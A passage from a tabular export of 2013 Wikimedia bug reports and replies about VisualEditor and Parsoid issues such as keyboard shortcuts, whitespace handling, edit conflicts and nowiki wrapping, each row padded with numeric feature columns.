**Severity**: normal",Needs Triage,90.0,1373048100,1373077734.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-gqozvzrj5ka3lgyouwvn,task_description,resolved,True,c1,3,False,False,True,0,,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,8.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,3.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,2.0,0.0,0.0,4.3559322033898304,0.7457627118644068,"With VisualEditor enabled the shortcut alt+shift+e no longer works, which previously opened the ""edit source"" page.  Considering many users work without a mouse on a laptop, it would be beneficial to have this enabled.

--------------------------
**Version**: unspecified
**Severity**: normal"
236795,Keyboard shortcut for editing source,"Sorry about this; we fixed this just a few hours ago. Merging with the other report.

*** This bug has been marked as a duplicate of bug 50725 ***",,,1373077734,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqozvzrj5ka3lgyouwvn,task_subcomment,,True,c1,3,True,,,0,,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.2162162162162162,0.7567567567567568,"Sorry about this; we fixed this just a few hours ago. Merging with the other report.

*** This bug has been marked as a duplicate of bug 50725 ***"
52797,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"Try removing the whitespace at the top of https://en.wikipedia.org/wiki/Burr%E2%80%93Hamilton_duel and see what happens.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://parsoid.wmflabs.org/en/User:Jdforrester_(WMF)/Bug_50797?oldid=564303673",Needs Triage,90.0,1373026620,1376618868.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_description,declined,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,15.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.475,0.55,"Try removing the whitespace at the top of URL and see what happens.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
235665,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"http://en.wikipedia.org/w/index.php?title=Burr%E2%80%93Hamilton_duel&oldid=561095260&veaction=edit shows the whitespace, and it also seems to be possible to delete a line there by focusing it and pressing 'delete'. Newlines that don't produce a paragraph are also preserved in HTML, but are not editable in wikitext.

See the source of http://parsoid.wmflabs.org/en/Burr%E2%80%93Hamilton_duel?oldid=561095260, in which the first paragraph after the infobox starts with ""<p><br>"".

Closing as worksforme. Please open a bug against VE if you have trouble with focusing or deleting the <br>.",,,1376618868,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,1.0,2.0,3.0,2.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,14.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,9.0,3.0,9.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,3.0,14.0,4.0,0.0,4.0,0.0,3.0,0.0,2.0,3.0,0.0,5.0,0.0,0.0,4.0,3.8260869565217392,0.6956521739130435,"URL shows the whitespace, and it also seems to be possible to delete a line there by focusing it and pressing 'delete'. Newlines that don't produce a paragraph are also preserved in HTML, but are not editable in wikitext.

See the source of URL in which the first paragraph after the infobox starts with ""<p><br>"".

Closing as worksforme. Please open a bug against VE if you have trouble with focusing or deleting the <br>."
235659,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"So, to understand this bug - this is about where is some (mistaken/wrong) wikitext with an extra new line in front of a block template that gets swallowed by Parsoid into the template that follows it (but can't be removed from there as Parsoid quietly hides that)?

(Note that the second extra whitespace is a normal <br> and so shown in VisualEditor as a ""↵"" and can be removed in-line.)",,,1373854399,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,True,,,2,,1.0,0.0,0.0,2.0,1.0,6.0,3.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,13.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,7.0,6.0,6.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,15.0,3.0,1.0,2.0,0.0,1.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,3.595505617977528,0.7191011235955056,"So, to understand this bug - this is about where is some (mistaken/wrong) wikitext with an extra new line in front of a block template that gets swallowed by Parsoid into the template that follows it (but can't be removed from there as Parsoid quietly hides that)?

(Note that the second extra whitespace is a normal <br> and so shown in VisualEditor as a ""↵"" and can be removed in-line.)"
235651,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"Permanent link to the relevant page revision:

http://en.wikipedia.org/w/index.php?title=Burr%E2%80%93Hamilton_duel&oldid=561095260",,,1373145121,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Permanent link to the relevant page revision:

URL"
235644,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"This is NOT a duplicate of 47790

This bug is about whitespace in the SOURCE, that is not editable in the VE. Where 47790 deals about whitespace in VE that is not in the source.

If you look at https://en.wikipedia.org/wiki/Burr–Hamilton_duel you will see that the first line is slightly below the infobox. In VE mode, https://en.wikipedia.org/wiki/Burr–Hamilton_duel?veaction=edit they look to be at the same height. The linebreaks at the top of the source seem to have been 'compressed' and are ignored in VE, while they do have effect in render mode.",,,1373102850,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,1.0,1.5,2.0,4.0,0.0,0.0,0.5,5.0,2.0,0.0,1.0,0.0,0.0,0.0,3.0,15.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,7.5,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,13.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,6.0,9.5,2.5,1.0,9.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,3.0,15.0,3.5,0.0,2.0,0.0,3.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,3.549019607843137,0.6666666666666666,"This is NOT a duplicate of 47790

This bug is about whitespace in the SOURCE, that is not editable in the VE. Where 47790 deals about whitespace in VE that is not in the source.

If you look at URL you will see that the first line is slightly below the infobox. In VE mode, URL they look to be at the same height. The linebreaks at the top of the source seem to have been 'compressed' and are ignored in VE, while they do have effect in render mode."
235635,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"

*** This bug has been marked as a duplicate of bug 47790 ***",,,1373046915,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 47790 ***"
52766,VisualEditor: VE's determination of image size should hook into user preferences,"We very deliberately have user-specific preferences for default image sizing, rather than specify a fixed size in each article - it compensates for varying screen sizes. The VE isn't factoring default size preferences into account.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372966680,1372966971.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-6yatmdhnokanuospfimc,task_description,resolved,True,c1,3,False,False,True,0,,2.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,4.559322033898305,0.7457627118644068,"We very deliberately have user-specific preferences for default image sizing, rather than specify a fixed size in each article - it compensates for varying screen sizes. The VE isn't factoring default size preferences into account.

--------------------------
**Version**: unspecified
**Severity**: normal"
233785,VisualEditor: VE's determination of image size should hook into user preferences,Related to bug 47804 too.,,,1372967030,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-6yatmdhnokanuospfimc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Related to bug 47804 too.
233780,VisualEditor: VE's determination of image size should hook into user preferences,"

*** This bug has been marked as a duplicate of bug 50379 ***",,,1372966971,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-6yatmdhnokanuospfimc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50379 ***"
52753,VisualEditor: edit conflict handling,"In the case of an edit conflict, the structure of the VE means that the common workaround (taking discrete wikimarkup changes, copying them, opening the newly revised article, pasting them in) doesn't work. What's the plan to handle ECs in the VE?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372954140,1372956245.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-rlgq63dcwusayyjqcpor,task_description,invalid,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,16.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,10.0,1.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,3.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,3.0,6.0,0.0,0.0,0.0,3.9714285714285715,0.6857142857142857,"In the case of an edit conflict, the structure of the VE means that the common workaround (taking discrete wikimarkup changes, copying them, opening the newly revised article, pasting them in) doesn't work. What's the plan to handle ECs in the VE?

--------------------------
**Version**: unspecified
**Severity**: normal"
233036,VisualEditor: edit conflict handling,"(In reply to comment #0)
> In the case of an edit conflict, the structure of the VE means that the
> common workaround (taking discrete wikimarkup changes, copying them, opening
> the newly revised article, pasting them in) doesn't work. What's the plan to
> handle ECs in the VE?

What do you mean, 'plan'? Have you not encountered one yet? It works very simply: on saving, you get a message like ""Sorry, the page couldn't be saved because of an edit conflict. Click here to resolve manually"" and then takes you to the normal wikitext edit conflict page, with the wikitext of your new version below and the new current version above, as always.

It's been this way for months. There are enough bugs filed without adding ones. :-)",,,1372956245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rlgq63dcwusayyjqcpor,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.5,0.5,1.0,4.5,1.0,0.5,0.0,0.0,1.5,1.5,0.0,0.0,1.0,0.0,0.0,6.0,11.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,4.5,0.5,1.5,2.0,3.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,0.5,1.5,5.0,0.0,1.0,0.0,0.5,3.0,0.5,1.0,0.0,4.5,11.0,1.0,1.0,2.5,0.0,4.5,0.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,3.586206896551724,0.7844827586206897,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

What do you mean, 'plan'? Have you not encountered one yet? It works very simply: on saving, you get a message like ""Sorry, the page couldn't be saved because of an edit conflict. Click here to resolve manually"" and then takes you to the normal wikitext edit conflict page, with the wikitext of your new version below and the new current version above, as always.

It's been this way for months. There are enough bugs filed without adding ones. :-)"
52744,"VisualEditor: Once a user has inserted a new transclusion, offer to add another","Copied from English Wikipedia:

When I've added one template using the transclusion icon, please offer me a button which says ""Add another template"", rather than insisting I click on various totally non-intuitive bits of the window to achieve this! I've just managed to add two separate stub templates, but it was still an uphill struggle. PamD 07:32, 4 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1372942020,1383280851.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-5oldmu57nfk4gdllhb7z,task_description,declined,True,c1,3,False,False,False,0,,0.0,0.0,1.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,4.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,4.0,1.0,14.0,1.0,1.0,7.0,0.0,0.0,1.0,0.0,4.0,1.0,5.0,0.0,5.0,7.0,4.0,0.0,2.0,0.0,5.0,0.0,2.0,2.0,1.0,2.0,0.0,0.0,0.0,4.073684210526316,0.7789473684210526,"Copied from English Wikipedia:

When I've added one template using the transclusion icon, please offer me a button which says ""Add another template"", rather than insisting I click on various totally non-intuitive bits of the window to achieve this! I've just managed to add two separate stub templates, but it was still an uphill struggle. PamD 07:32, 4 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
232406,"VisualEditor: Once a user has inserted a new transclusion, offer to add another","Re-worded the summary; I don't think that this is a route we want to go, so marking as a WONTFIX.",,,1383280851,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5oldmu57nfk4gdllhb7z,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,12.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,3.0,0.9615384615384616,"Re-worded the summary; I don't think that this is a route we want to go, so marking as a WONTFIX."
232400,"VisualEditor: Once a user has inserted a new transclusion, offer to add another","Maggie: Feel free to drop ""Enhancement request:"" from the report summary and to set severity to ""enhancement"" instead. Thanks. :)",,,1372949758,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-5oldmu57nfk4gdllhb7z,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9285714285714284,0.75,"Maggie: Feel free to drop ""Enhancement request:"" from the report summary and to set severity to ""enhancement"" instead. Thanks. :)"
52738,VisualEditor: Template inspector's parameter display causes smushing,"See https://en.wikipedia.org/wiki/File:VisualEditor_-_Cite_template_layout_issue_%28TemplateData%29.png - Firefox 22, Monobook.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372937460,1372937527.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-qrcwbd4n7nqvsvfbykcb,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.6538461538461539,"See URL - Firefox 22, Monobook.

--------------------------
**Version**: unspecified
**Severity**: normal"
232107,VisualEditor: Template inspector's parameter display causes smushing,"

%%%*** This bug has been marked as a duplicate of bug 50728 ***%%%",,,1372937527,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-qrcwbd4n7nqvsvfbykcb,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 50728 ***%%%"
52737,VisualEditor: not showing new categories on reload,"If you add categories to a page and save, the newly-loaded version does not include the new additions.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372937340,1373556875.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ltzaf5hgb6yn3qi7gdwt,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.925,0.75,"If you add categories to a page and save, the newly-loaded version does not include the new additions.

--------------------------
**Version**: unspecified
**Severity**: normal"
232077,VisualEditor: not showing new categories on reload,"Yeah, this would be a good one to fix; merging with duplicate.

*** This bug has been marked as a duplicate of bug 48560 ***",,,1373556875,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltzaf5hgb6yn3qi7gdwt,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0606060606060606,0.7575757575757576,"Yeah, this would be a good one to fix; merging with duplicate.

*** This bug has been marked as a duplicate of bug 48560 ***"
232073,VisualEditor: not showing new categories on reload,"An additional note about this on English Wikipedia, with the sensible suggestion that editors are likely to think they have done something wrong when they save the page and their changes do not appear to have worked.",,,1373556265,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ltzaf5hgb6yn3qi7gdwt,task_subcomment,,True,c1,3,False,,,1,,0.0,3.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,8.0,5.0,3.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,5.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.615384615384615,0.8974358974358975,"An additional note about this on English Wikipedia, with the sensible suggestion that editors are likely to think they have done something wrong when they save the page and their changes do not appear to have worked."
52724,<nowiki> added to existing <nowiki> content,"This edit:

https://en.wikipedia.org/w/index.php?title=Percy_Jackson:_Sea_of_Monsters&diff=562794756&oldid=562792500

is an example of a dirty diff where VisualEditor/Parsoid appears to have wrapped <nowiki> tags around existing <nowiki> content (in this case the ""|"" symbol in the title of a cited website) inside a template inside a reference.

--------------------------
**Version**: unspecified
